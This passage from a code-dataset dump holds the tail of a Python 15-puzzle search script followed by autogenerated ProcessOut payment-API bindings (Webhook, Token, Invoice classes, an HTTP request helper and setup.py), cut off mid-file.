node[3]))\r\n u_new = max(u_new, util)\r\n return (heapq.heapify(new_frontier), u_new)\r\n else:\r\n return (frontier, Uhat)\r\n\r\n\r\n#test cases\r\nw_t = 9\r\nw_f = 9\r\nstart_state = (0, 1, 2, 3, 5, 6, 7, 4, 9, 10, 11, 8, 13, 14, 15, 12)\r\nnew_puz = Puzzle(start_state)\r\nnew_puz = Puzzle(new_puz.goal_state)\r\ngoal_state_dict = convert_to_tuples(new_puz.goal_state)\r\nprint bugsy(new_puz, u, g, w_t, w_f)\r\n", "id": "797394", "language": "Python", "matching_score": 5.893655776977539, "max_stars_count": 0, "path": "bugsy_15_puzzle.py" } ]
5.893656
processout
[ { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass Webhook(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._project = None\n self._project_id = None\n self._event = None\n self._event_id = None\n self._request_url = None\n self._request_method = None\n self._response_body = None\n self._response_code = None\n self._response_headers = None\n self._response_time_ms = None\n self._status = None\n self._created_at = None\n self._release_at = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def project(self):\n \"\"\"Get project\"\"\"\n return self._project\n\n @project.setter\n def project(self, val):\n \"\"\"Set project\n Keyword argument:\n val -- New project value\"\"\"\n if val is None:\n self._project = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Project(self._client)\n obj.fill_with_data(val)\n self._project = obj\n else:\n self._project = val\n return self\n \n @property\n def project_id(self):\n \"\"\"Get project_id\"\"\"\n return self._project_id\n\n @project_id.setter\n def project_id(self, val):\n \"\"\"Set project_id\n Keyword argument:\n val -- New project_id value\"\"\"\n self._project_id = val\n return self\n \n @property\n def event(self):\n \"\"\"Get event\"\"\"\n return self._event\n\n @event.setter\n def event(self, val):\n \"\"\"Set event\n Keyword argument:\n val -- New event value\"\"\"\n if val is None:\n self._event = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Event(self._client)\n obj.fill_with_data(val)\n self._event = obj\n else:\n self._event = val\n return self\n \n @property\n def event_id(self):\n \"\"\"Get event_id\"\"\"\n return self._event_id\n\n @event_id.setter\n def event_id(self, val):\n \"\"\"Set event_id\n Keyword argument:\n val -- New event_id value\"\"\"\n self._event_id = val\n return self\n \n @property\n def request_url(self):\n \"\"\"Get request_url\"\"\"\n return self._request_url\n\n @request_url.setter\n def request_url(self, val):\n \"\"\"Set request_url\n Keyword argument:\n val -- New request_url value\"\"\"\n self._request_url = val\n return self\n \n @property\n def request_method(self):\n \"\"\"Get request_method\"\"\"\n return self._request_method\n\n @request_method.setter\n def request_method(self, val):\n \"\"\"Set request_method\n Keyword argument:\n val -- New request_method value\"\"\"\n self._request_method = val\n return self\n \n @property\n def response_body(self):\n \"\"\"Get response_body\"\"\"\n return self._response_body\n\n @response_body.setter\n def response_body(self, val):\n \"\"\"Set response_body\n Keyword argument:\n val -- New response_body value\"\"\"\n self._response_body = val\n return self\n \n @property\n def response_code(self):\n \"\"\"Get response_code\"\"\"\n return self._response_code\n\n @response_code.setter\n def response_code(self, val):\n \"\"\"Set response_code\n Keyword argument:\n val -- New response_code value\"\"\"\n self._response_code = val\n return self\n \n @property\n def response_headers(self):\n \"\"\"Get response_headers\"\"\"\n return self._response_headers\n\n @response_headers.setter\n def response_headers(self, val):\n \"\"\"Set response_headers\n Keyword argument:\n val -- New response_headers value\"\"\"\n self._response_headers = val\n return self\n \n @property\n def response_time_ms(self):\n \"\"\"Get response_time_ms\"\"\"\n return self._response_time_ms\n\n @response_time_ms.setter\n def response_time_ms(self, val):\n \"\"\"Set response_time_ms\n Keyword argument:\n val -- New response_time_ms value\"\"\"\n self._response_time_ms = val\n return self\n \n @property\n def status(self):\n \"\"\"Get status\"\"\"\n return self._status\n\n @status.setter\n def status(self, val):\n \"\"\"Set status\n Keyword argument:\n val -- New status value\"\"\"\n self._status = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n @property\n def release_at(self):\n \"\"\"Get release_at\"\"\"\n return self._release_at\n\n @release_at.setter\n def release_at(self, val):\n \"\"\"Set release_at\n Keyword argument:\n val -- New release_at value\"\"\"\n self._release_at = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"project\" in data.keys():\n self.project = data[\"project\"]\n if \"project_id\" in data.keys():\n self.project_id = data[\"project_id\"]\n if \"event\" in data.keys():\n self.event = data[\"event\"]\n if \"event_id\" in data.keys():\n self.event_id = data[\"event_id\"]\n if \"request_url\" in data.keys():\n self.request_url = data[\"request_url\"]\n if \"request_method\" in data.keys():\n self.request_method = data[\"request_method\"]\n if \"response_body\" in data.keys():\n self.response_body = data[\"response_body\"]\n if \"response_code\" in data.keys():\n self.response_code = data[\"response_code\"]\n if \"response_headers\" in data.keys():\n self.response_headers = data[\"response_headers\"]\n if \"response_time_ms\" in data.keys():\n self.response_time_ms = data[\"response_time_ms\"]\n if \"status\" in data.keys():\n self.status = data[\"status\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n if \"release_at\" in data.keys():\n self.release_at = data[\"release_at\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"project\": self.project,\n \"project_id\": self.project_id,\n \"event\": self.event,\n \"event_id\": self.event_id,\n \"request_url\": self.request_url,\n \"request_method\": self.request_method,\n \"response_body\": self.response_body,\n \"response_code\": self.response_code,\n \"response_headers\": self.response_headers,\n \"response_time_ms\": self.response_time_ms,\n \"status\": self.status,\n \"created_at\": self.created_at,\n \"release_at\": self.release_at,\n }\n\n \n", "id": "4638271", "language": "Python", "matching_score": 1.3010786771774292, "max_stars_count": 1, "path": "processout/webhook.py" }, { "content": "import requests\nimport json\ntry:\n from urllib.parse import urlencode\nexcept ImportError:\n from urllib import urlencode\n\nfrom processout.client import ProcessOut\n\nclass SubObjectEncoder(json.JSONEncoder):\n def default(self, obj):\n if hasattr(obj,'to_json'):\n return obj.to_json()\n else:\n return json.JSONEncoder.default(self, obj)\n\nclass Request:\n def __init__(self, client):\n \"\"\"Create a new Request instance\n\n Keyword argument:\n client -- ProcessOut client instance\n \"\"\"\n self._client = client\n\n def _authenticate(self):\n \"\"\"Return the correct needed authentication\"\"\"\n username = self._client.project_id\n password = self._client.project_secret\n return (username, password)\n\n def _get_headers(self, options):\n \"\"\"Return the headers sent with the request\"\"\"\n headers = {}\n headers[\"API-Version\"] = \"1.4.0.0\"\n headers[\"User-Agent\"] = \"ProcessOut Python-Bindings/6.18.0\"\n headers[\"Content-Type\"] = \"application/json\"\n headers[\"Accept\"] = \"application/json\"\n\n if options is None:\n return headers\n\n if \"idempotency_key\" in options:\n headers[\"Idempotency-Key\"] = options[\"idempotency_key\"]\n if \"disable_logging\" in options:\n headers[\"Disable-Logging\"] = options[\"disable_logging\"]\n\n return headers\n\n def _get_data(self, data, options):\n \"\"\"Return the data processed with the given options\"\"\"\n if options is None:\n return data\n\n if \"expand\" in options:\n data[\"expand\"] = options[\"expand\"]\n if \"filter\" in options:\n data[\"filter\"] = options[\"filter\"]\n if \"limit\" in options:\n data[\"limit\"] = options[\"limit\"]\n if \"end_before\" in options:\n data[\"end_before\"] = options[\"end_before\"]\n if \"start_after\" in options:\n data[\"start_after\"] = options[\"start_after\"]\n\n return data\n\n def get(self, path, data, options):\n \"\"\"Perform a GET request\n\n Keyword argument:\n path -- Path of the request\n data -- Data to be passed along with the request\n options -- Options sent with the request\n \"\"\"\n return requests.get(self._client.host + path + '?' +\n urlencode(self._get_data(data, options), True),\n auth = self._authenticate(),\n verify = True,\n timeout = 65,\n headers = self._get_headers(options))\n\n def post(self, path, data, options):\n \"\"\"Perform a POST request\n\n Keyword argument:\n path -- Path of the request\n data -- Data to be passed along with the request\n options -- Options sent with the request\n \"\"\"\n return requests.post(self._client.host + path,\n auth = self._authenticate(),\n data = json.dumps(self._get_data(data, options), cls=SubObjectEncoder),\n verify = True,\n timeout = 65,\n headers = self._get_headers(options))\n\n def put(self, path, data, options):\n \"\"\"Perform a PUT request\n\n Keyword argument:\n path -- Path of the request\n data -- Data to be passed along with the request\n options -- Options sent with the request\n \"\"\"\n return requests.put(self._client.host + path,\n auth = self._authenticate(),\n data = json.dumps(self._get_data(data, options), cls=SubObjectEncoder),\n verify = True,\n timeout = 65,\n headers = self._get_headers(options))\n\n def delete(self, path, data, options):\n \"\"\"Perform a DELETE request\n\n Keyword argument:\n path -- Path of the request\n data -- Data to be passed along with the request\n options -- Options sent with the request\n \"\"\"\n return requests.delete(self._client.host + path + '?' +\n urlencode(self._get_data(data, options), True),\n auth = self._authenticate(),\n verify = True,\n timeout = 65,\n headers = self._get_headers(options))\n", "id": "7370317", "language": "Python", "matching_score": 2.3627030849456787, "max_stars_count": 1, "path": "processout/networking/request.py" }, { "content": "from distutils.core import setup\n\nsetup(\n name = 'processout',\n packages = ['processout', 'processout.errors', 'processout.networking'],\n version = '6.19.1',\n description = 'ProcessOut API bindings.',\n author = 'ProcessOut',\n author_email = '<EMAIL>',\n url = 'https://github.com/processout/processout-python',\n download_url = 'https://github.com/processout/processout-python/tarball/6.19.1',\n keywords = ['ProcessOut', 'api', 'bindings'],\n classifiers = [],\n)\n", "id": "11018561", "language": "Python", "matching_score": 0.4921387732028961, "max_stars_count": 1, "path": "setup.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass Token(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._customer = None\n self._customer_id = None\n self._gateway_configuration = None\n self._gateway_configuration_id = None\n self._card = None\n self._card_id = None\n self._type = None\n self._metadata = None\n self._is_subscription_only = None\n self._is_default = None\n self._return_url = None\n self._cancel_url = None\n self._summary = None\n self._is_chargeable = None\n self._created_at = None\n self._description = None\n self._invoice = None\n self._invoice_id = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def customer(self):\n \"\"\"Get customer\"\"\"\n return self._customer\n\n @customer.setter\n def customer(self, val):\n \"\"\"Set customer\n Keyword argument:\n val -- New customer value\"\"\"\n if val is None:\n self._customer = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Customer(self._client)\n obj.fill_with_data(val)\n self._customer = obj\n else:\n self._customer = val\n return self\n \n @property\n def customer_id(self):\n \"\"\"Get customer_id\"\"\"\n return self._customer_id\n\n @customer_id.setter\n def customer_id(self, val):\n \"\"\"Set customer_id\n Keyword argument:\n val -- New customer_id value\"\"\"\n self._customer_id = val\n return self\n \n @property\n def gateway_configuration(self):\n \"\"\"Get gateway_configuration\"\"\"\n return self._gateway_configuration\n\n @gateway_configuration.setter\n def gateway_configuration(self, val):\n \"\"\"Set gateway_configuration\n Keyword argument:\n val -- New gateway_configuration value\"\"\"\n if val is None:\n self._gateway_configuration = val\n return self\n\n if isinstance(val, dict):\n obj = processout.GatewayConfiguration(self._client)\n obj.fill_with_data(val)\n self._gateway_configuration = obj\n else:\n self._gateway_configuration = val\n return self\n \n @property\n def gateway_configuration_id(self):\n \"\"\"Get gateway_configuration_id\"\"\"\n return self._gateway_configuration_id\n\n @gateway_configuration_id.setter\n def gateway_configuration_id(self, val):\n \"\"\"Set gateway_configuration_id\n Keyword argument:\n val -- New gateway_configuration_id value\"\"\"\n self._gateway_configuration_id = val\n return self\n \n @property\n def card(self):\n \"\"\"Get card\"\"\"\n return self._card\n\n @card.setter\n def card(self, val):\n \"\"\"Set card\n Keyword argument:\n val -- New card value\"\"\"\n if val is None:\n self._card = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Card(self._client)\n obj.fill_with_data(val)\n self._card = obj\n else:\n self._card = val\n return self\n \n @property\n def card_id(self):\n \"\"\"Get card_id\"\"\"\n return self._card_id\n\n @card_id.setter\n def card_id(self, val):\n \"\"\"Set card_id\n Keyword argument:\n val -- New card_id value\"\"\"\n self._card_id = val\n return self\n \n @property\n def type(self):\n \"\"\"Get type\"\"\"\n return self._type\n\n @type.setter\n def type(self, val):\n \"\"\"Set type\n Keyword argument:\n val -- New type value\"\"\"\n self._type = val\n return self\n \n @property\n def metadata(self):\n \"\"\"Get metadata\"\"\"\n return self._metadata\n\n @metadata.setter\n def metadata(self, val):\n \"\"\"Set metadata\n Keyword argument:\n val -- New metadata value\"\"\"\n self._metadata = val\n return self\n \n @property\n def is_subscription_only(self):\n \"\"\"Get is_subscription_only\"\"\"\n return self._is_subscription_only\n\n @is_subscription_only.setter\n def is_subscription_only(self, val):\n \"\"\"Set is_subscription_only\n Keyword argument:\n val -- New is_subscription_only value\"\"\"\n self._is_subscription_only = val\n return self\n \n @property\n def is_default(self):\n \"\"\"Get is_default\"\"\"\n return self._is_default\n\n @is_default.setter\n def is_default(self, val):\n \"\"\"Set is_default\n Keyword argument:\n val -- New is_default value\"\"\"\n self._is_default = val\n return self\n \n @property\n def return_url(self):\n \"\"\"Get return_url\"\"\"\n return self._return_url\n\n @return_url.setter\n def return_url(self, val):\n \"\"\"Set return_url\n Keyword argument:\n val -- New return_url value\"\"\"\n self._return_url = val\n return self\n \n @property\n def cancel_url(self):\n \"\"\"Get cancel_url\"\"\"\n return self._cancel_url\n\n @cancel_url.setter\n def cancel_url(self, val):\n \"\"\"Set cancel_url\n Keyword argument:\n val -- New cancel_url value\"\"\"\n self._cancel_url = val\n return self\n \n @property\n def summary(self):\n \"\"\"Get summary\"\"\"\n return self._summary\n\n @summary.setter\n def summary(self, val):\n \"\"\"Set summary\n Keyword argument:\n val -- New summary value\"\"\"\n self._summary = val\n return self\n \n @property\n def is_chargeable(self):\n \"\"\"Get is_chargeable\"\"\"\n return self._is_chargeable\n\n @is_chargeable.setter\n def is_chargeable(self, val):\n \"\"\"Set is_chargeable\n Keyword argument:\n val -- New is_chargeable value\"\"\"\n self._is_chargeable = val\n return self\n \n @property\n def created_at(self):\n \"\"\"Get created_at\"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, val):\n \"\"\"Set created_at\n Keyword argument:\n val -- New created_at value\"\"\"\n self._created_at = val\n return self\n \n @property\n def description(self):\n \"\"\"Get description\"\"\"\n return self._description\n\n @description.setter\n def description(self, val):\n \"\"\"Set description\n Keyword argument:\n val -- New description value\"\"\"\n self._description = val\n return self\n \n @property\n def invoice(self):\n \"\"\"Get invoice\"\"\"\n return self._invoice\n\n @invoice.setter\n def invoice(self, val):\n \"\"\"Set invoice\n Keyword argument:\n val -- New invoice value\"\"\"\n if val is None:\n self._invoice = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Invoice(self._client)\n obj.fill_with_data(val)\n self._invoice = obj\n else:\n self._invoice = val\n return self\n \n @property\n def invoice_id(self):\n \"\"\"Get invoice_id\"\"\"\n return self._invoice_id\n\n @invoice_id.setter\n def invoice_id(self, val):\n \"\"\"Set invoice_id\n Keyword argument:\n val -- New invoice_id value\"\"\"\n self._invoice_id = val\n return self\n \n\n def fill_with_data(self, data):\n \"\"\"Fill the current object with the new values pulled from data\n Keyword argument:\n data -- The data from which to pull the new values\"\"\"\n if \"id\" in data.keys():\n self.id = data[\"id\"]\n if \"customer\" in data.keys():\n self.customer = data[\"customer\"]\n if \"customer_id\" in data.keys():\n self.customer_id = data[\"customer_id\"]\n if \"gateway_configuration\" in data.keys():\n self.gateway_configuration = data[\"gateway_configuration\"]\n if \"gateway_configuration_id\" in data.keys():\n self.gateway_configuration_id = data[\"gateway_configuration_id\"]\n if \"card\" in data.keys():\n self.card = data[\"card\"]\n if \"card_id\" in data.keys():\n self.card_id = data[\"card_id\"]\n if \"type\" in data.keys():\n self.type = data[\"type\"]\n if \"metadata\" in data.keys():\n self.metadata = data[\"metadata\"]\n if \"is_subscription_only\" in data.keys():\n self.is_subscription_only = data[\"is_subscription_only\"]\n if \"is_default\" in data.keys():\n self.is_default = data[\"is_default\"]\n if \"return_url\" in data.keys():\n self.return_url = data[\"return_url\"]\n if \"cancel_url\" in data.keys():\n self.cancel_url = data[\"cancel_url\"]\n if \"summary\" in data.keys():\n self.summary = data[\"summary\"]\n if \"is_chargeable\" in data.keys():\n self.is_chargeable = data[\"is_chargeable\"]\n if \"created_at\" in data.keys():\n self.created_at = data[\"created_at\"]\n if \"description\" in data.keys():\n self.description = data[\"description\"]\n if \"invoice\" in data.keys():\n self.invoice = data[\"invoice\"]\n if \"invoice_id\" in data.keys():\n self.invoice_id = data[\"invoice_id\"]\n \n return self\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"customer\": self.customer,\n \"customer_id\": self.customer_id,\n \"gateway_configuration\": self.gateway_configuration,\n \"gateway_configuration_id\": self.gateway_configuration_id,\n \"card\": self.card,\n \"card_id\": self.card_id,\n \"type\": self.type,\n \"metadata\": self.metadata,\n \"is_subscription_only\": self.is_subscription_only,\n \"is_default\": self.is_default,\n \"return_url\": self.return_url,\n \"cancel_url\": self.cancel_url,\n \"summary\": self.summary,\n \"is_chargeable\": self.is_chargeable,\n \"created_at\": self.created_at,\n \"description\": self.description,\n \"invoice\": self.invoice,\n \"invoice_id\": self.invoice_id,\n }\n\n def fetch_customer_tokens(self, customer_id, options = {}):\n \"\"\"Get the customer's tokens.\n Keyword argument:\n customer_id -- ID of the customer\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/customers/\" + quote_plus(customer_id) + \"/tokens\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n a = []\n body = response.body\n for v in body['tokens']:\n tmp = processout.Token(self._client)\n tmp.fill_with_data(v)\n a.append(tmp)\n\n return_values.append(a)\n \n\n \n return return_values[0]\n\n def find(self, customer_id, token_id, options = {}):\n \"\"\"Find a customer's token by its ID.\n Keyword argument:\n customer_id -- ID of the customer\n token_id -- ID of the token\n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/customers/\" + quote_plus(customer_id) + \"/tokens/\" + quote_plus(token_id) + \"\"\n data = {\n\n }\n\n response = Response(request.get(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"token\"]\n \n \n obj = processout.Token(self._client)\n return_values.append(obj.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def create(self, options = {}):\n \"\"\"Create a new token for the given customer ID.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/customers/\" + quote_plus(self.customer_id) + \"/tokens\"\n data = {\n 'metadata': self.metadata, \n 'return_url': self.return_url, \n 'cancel_url': self.cancel_url, \n 'description': self.description, \n 'source': options.get(\"source\"), \n 'settings': options.get(\"settings\"), \n 'device': options.get(\"device\"), \n 'verify': options.get(\"verify\"), \n 'verify_metadata': options.get(\"verify_metadata\"), \n 'set_default': options.get(\"set_default\")\n }\n\n response = Response(request.post(path, data, options))\n return_values = []\n \n body = response.body\n body = body[\"token\"]\n \n \n return_values.append(self.fill_with_data(body))\n \n\n \n return return_values[0]\n\n def save(self, options = {}):\n \"\"\"Save the updated customer attributes.\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/customers/\" + quote_plus(self.customer_id) + \"/tokens/\" + quote_plus(self.id) + \"\"\n data = {\n 'source': options.get(\"source\"), \n 'settings': options.get(\"settings\"), \n 'device': options.get(\"device\"), \n 'verify': options.get(\"verify\"), \n 'verify_metadata': options.get(\"verify_metadata\"), \n 'set_default': options.get(\"set_default\")\n }\n\n response = Response(request.put(path, data, options))\n return_values = []\n \n return_values.append(response.success)\n\n \n return return_values[0]\n\n def delete(self, options = {}):\n \"\"\"Delete a customer token\n Keyword argument:\n \n options -- Options for the request\"\"\"\n self.fill_with_data(options)\n\n request = Request(self._client)\n path = \"/customers/\" + quote_plus(self.customer_id) + \"/tokens/\" + quote_plus(self.id) + \"\"\n data = {\n\n }\n\n response = Response(request.delete(path, data, options))\n return_values = []\n \n return_values.append(response.success)\n\n \n return return_values[0]\n\n \n", "id": "5366704", "language": "Python", "matching_score": 3.6741631031036377, "max_stars_count": 1, "path": "processout/token.py" }, { "content": "try:\n from urllib.parse import quote_plus\nexcept ImportError:\n from urllib import quote_plus\n\nimport processout\nimport json\n\nfrom processout.networking.request import Request\nfrom processout.networking.response import Response\n\n# The content of this file was automatically generated\n\nclass Invoice(object):\n def __init__(self, client, prefill = None):\n self._client = client\n\n self._id = None\n self._project = None\n self._project_id = None\n self._transaction = None\n self._transaction_id = None\n self._customer = None\n self._customer_id = None\n self._subscription = None\n self._subscription_id = None\n self._token = None\n self._token_id = None\n self._details = None\n self._url = None\n self._name = None\n self._amount = None\n self._currency = None\n self._merchant_initiator_type = None\n self._statement_descriptor = None\n self._statement_descriptor_phone = None\n self._statement_descriptor_city = None\n self._statement_descriptor_company = None\n self._statement_descriptor_url = None\n self._metadata = None\n self._gateway_data = None\n self._return_url = None\n self._cancel_url = None\n self._webhook_url = None\n self._require_backend_capture = None\n self._sandbox = None\n self._created_at = None\n self._risk = None\n self._shipping = None\n self._device = None\n self._external_fraud_tools = None\n self._exemption_reason_3ds2 = None\n self._sca_exemption_reason = None\n self._challenge_indicator = None\n self._incremental = None\n self._tax = None\n if prefill != None:\n self.fill_with_data(prefill)\n\n \n @property\n def id(self):\n \"\"\"Get id\"\"\"\n return self._id\n\n @id.setter\n def id(self, val):\n \"\"\"Set id\n Keyword argument:\n val -- New id value\"\"\"\n self._id = val\n return self\n \n @property\n def project(self):\n \"\"\"Get project\"\"\"\n return self._project\n\n @project.setter\n def project(self, val):\n \"\"\"Set project\n Keyword argument:\n val -- New project value\"\"\"\n if val is None:\n self._project = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Project(self._client)\n obj.fill_with_data(val)\n self._project = obj\n else:\n self._project = val\n return self\n \n @property\n def project_id(self):\n \"\"\"Get project_id\"\"\"\n return self._project_id\n\n @project_id.setter\n def project_id(self, val):\n \"\"\"Set project_id\n Keyword argument:\n val -- New project_id value\"\"\"\n self._project_id = val\n return self\n \n @property\n def transaction(self):\n \"\"\"Get transaction\"\"\"\n return self._transaction\n\n @transaction.setter\n def transaction(self, val):\n \"\"\"Set transaction\n Keyword argument:\n val -- New transaction value\"\"\"\n if val is None:\n self._transaction = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Transaction(self._client)\n obj.fill_with_data(val)\n self._transaction = obj\n else:\n self._transaction = val\n return self\n \n @property\n def transaction_id(self):\n \"\"\"Get transaction_id\"\"\"\n return self._transaction_id\n\n @transaction_id.setter\n def transaction_id(self, val):\n \"\"\"Set transaction_id\n Keyword argument:\n val -- New transaction_id value\"\"\"\n self._transaction_id = val\n return self\n \n @property\n def customer(self):\n \"\"\"Get customer\"\"\"\n return self._customer\n\n @customer.setter\n def customer(self, val):\n \"\"\"Set customer\n Keyword argument:\n val -- New customer value\"\"\"\n if val is None:\n self._customer = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Customer(self._client)\n obj.fill_with_data(val)\n self._customer = obj\n else:\n self._customer = val\n return self\n \n @property\n def customer_id(self):\n \"\"\"Get customer_id\"\"\"\n return self._customer_id\n\n @customer_id.setter\n def customer_id(self, val):\n \"\"\"Set customer_id\n Keyword argument:\n val -- New customer_id value\"\"\"\n self._customer_id = val\n return self\n \n @property\n def subscription(self):\n \"\"\"Get subscription\"\"\"\n return self._subscription\n\n @subscription.setter\n def subscription(self, val):\n \"\"\"Set subscription\n Keyword argument:\n val -- New subscription value\"\"\"\n if val is None:\n self._subscription = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Subscription(self._client)\n obj.fill_with_data(val)\n self._subscription = obj\n else:\n self._subscription = val\n return self\n \n @property\n def subscription_id(self):\n \"\"\"Get subscription_id\"\"\"\n return self._subscription_id\n\n @subscription_id.setter\n def subscription_id(self, val):\n \"\"\"Set subscription_id\n Keyword argument:\n val -- New subscription_id value\"\"\"\n self._subscription_id = val\n return self\n \n @property\n def token(self):\n \"\"\"Get token\"\"\"\n return self._token\n\n @token.setter\n def token(self, val):\n \"\"\"Set token\n Keyword argument:\n val -- New token value\"\"\"\n if val is None:\n self._token = val\n return self\n\n if isinstance(val, dict):\n obj = processout.Token(self._client)\n obj.fill_with_data(val)\n self._token = obj\n else:\n self._token = val\n return self\n \n @property\n def token_id(self):\n \"\"\"Get token_id\"\"\"\n return self._token_id\n\n @token_id.setter\n def token_id(self, val):\n \"\"\"Set token_id\n Keyword argument:\n val -- New token_id value\"\"\"\n self._token_id = val\n return self\n \n @property\n def details(self):\n \"\"\"Get details\"\"\"\n return self._details\n\n @details.setter\n def details(self, val):\n \"\"\"Set details\n Keyword argument:\n val -- New details value\"\"\"\n if val is None:\n self._details = []\n return self\n\n if len(val) > 0 and isinstance(val[0], processout.InvoiceDetail):\n self._details = val\n else:\n l = []\n for v in val:\n obj = processout.InvoiceDetail(self._client)\n obj.fill_with_data(v)\n l.append(obj)\n self._details = l\n return self\n \n @property\n def url(self):\n \"\"\"Get url\"\"\"\n return self._url\n\n @url.setter\n def url(self, val):\n \"\"\"Set url\n Keyword argument:\n val -- New url value\"\"\"\n self._url = val\n return self\n \n @property\n def name(self):\n \"\"\"Get name\"\"\"\n return self._name\n\n @name.setter\n def name(self, val):\n \"\"\"Set name\n Keyword argument:\n val -- New name value\"\"\"\n self._name = val\n return self\n \n @property\n def amount(self):\n \"\"\"Get amount\"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, val):\n \"\"\"Set amount\n Keyword argument:\n val -- New amount value\"\"\"\n self._amount = val\n return self\n \n @property\n def currency(self):\n \"\"\"Get currency\"\"\"\n return self._currency\n\n @currency.setter\n def currency(self, val):\n \"\"\"Set currency\n Keyword argument:\n val -- New currency value\"\"\"\n self._currency = val\n return self\n \n @property\n def merchant_initiator_type(self):\n \"\"\"Get merchant_initiator_type\"\"\"\n return self._merchant_initiator_type\n\n @merchant_initiator_type.setter\n def merchant_initiator_type(self, val):\n \"\"\"Set merchant_initiator_type\n Keyword argument:\n val -- New merchant_initiator_type value\"\"\"\n self._merchant_initiator_type = val\n return self\n \n @property\n def statement_descriptor(self):\n \"\"\"Get statement_descriptor\"\"\"\n return self._statement_descriptor\n\n @statement_descriptor.setter\n def statement_descriptor(self, val):\n \"\"\"Set statement_descriptor\n Keyword argument:\n val -- New statement_descriptor value\"\"\"\n self._statement_descriptor = val\n return self\n \n @property\n def statement_descriptor_phone(self):\n \"\"\"Get statement_descriptor_phone\"\"\"\n return self._statement_descriptor_phone\n\n @statement_descriptor_phone.setter\n def statement_descriptor_phone(self, val):\n \"\"\"Set statement_descriptor_phone\n Keyword argument:\n val -- New statement_descriptor_phone value\"\"\"\n self._statement_descriptor_phone = val\n return self\n \n @property\n def statement_descriptor_city(self):\n \"\"\"Get statement_descriptor_city\"\"\"\n return self._statement_descriptor_city\n\n @statement_descriptor_city.setter\n def statement_descriptor_city(self, val):\n \"\"\"Set statement_descriptor_city\n Keyword argument:\n val -- New statement_descriptor_city value\"\"\"\n self._statement_descriptor_city = val\n return self\n \n @property\n def statement_descriptor_company(self):\n \"\"\"Get statement_descriptor_company\"\"\"\n return self._statement_descriptor_company\n\n @statement_descriptor_company.setter\n def statement_descriptor_company(self, val):\n \"\"\"Set statement_descriptor_company\n Keyword argument:\n val -- New statement_descriptor_company value\"\"\"\n self._statement_descriptor_company = val\n return self\n \n @property\n def statement_descriptor_url(self):\n \"\"\"Get statement_descriptor_url\"\"\"\n return self._statement_descriptor_url\n\n @statement_descriptor_url.setter\n def statement_descriptor_url(self, val):\n \"\"\"Set statement_descriptor_url\n Keyword argument:\n val -- New statement_descriptor_url value\"\"\"\n self._statement_descriptor_url = val\n return self\n \n @property\n def metadata(self):\n \"\"\"Get metadata\"\"\"\n return self._metadata\n\n @metadata.setter\n def metadata(self, val):\n \"\"\"Set metadata\n Keyword argument:\n val -- New metadata value\"\"\"\n self._metadata = val\n return self\n \n @property\n def gateway_data(self):\n \"\"\"Get gateway_data\"\"\"\n return self._gateway_data\n\n @gateway_data.setter\n def gateway_data(self, val):\n \"\"\"Set gateway_data\n Keyword argument:\n val -- New gateway_data value\"\"\"\n self._gateway_data = val\n return self\n \n @property\n def return_url(self):\n \"\"\"Get return_url\"\"\"\n return self._return_url\n\n @return_url.setter\n def return_url(self, val):\n \"\"\"Set return_url\n Keyword argument:\n val -- New return_url value\"\"\"\n self._return_url = val\n return self\n \n @property\n def cancel_url(self):\n \"\"\"Get cancel_url\"\"\"\n return self._cancel_url\n\n @cancel_url.setter\n def cancel_url(self, val):\n \"\"\"Set cancel_url\n Keyword argument:\n val -- New cancel_url value\"\"\"\n self._cancel_url = val\n return self\n \n @property\n def webhook_url(self):\n \"\"\"Get webhook_url\"\"\"\n return self._webhook_url\n\n @webhook_url.setter\n def webhook_url(self, val):\n \"\"\"Set webhook_url\n Keyword argument:\n val -- New webhook_url value\"\"\"\n self._webhook_url = val\n return self\n 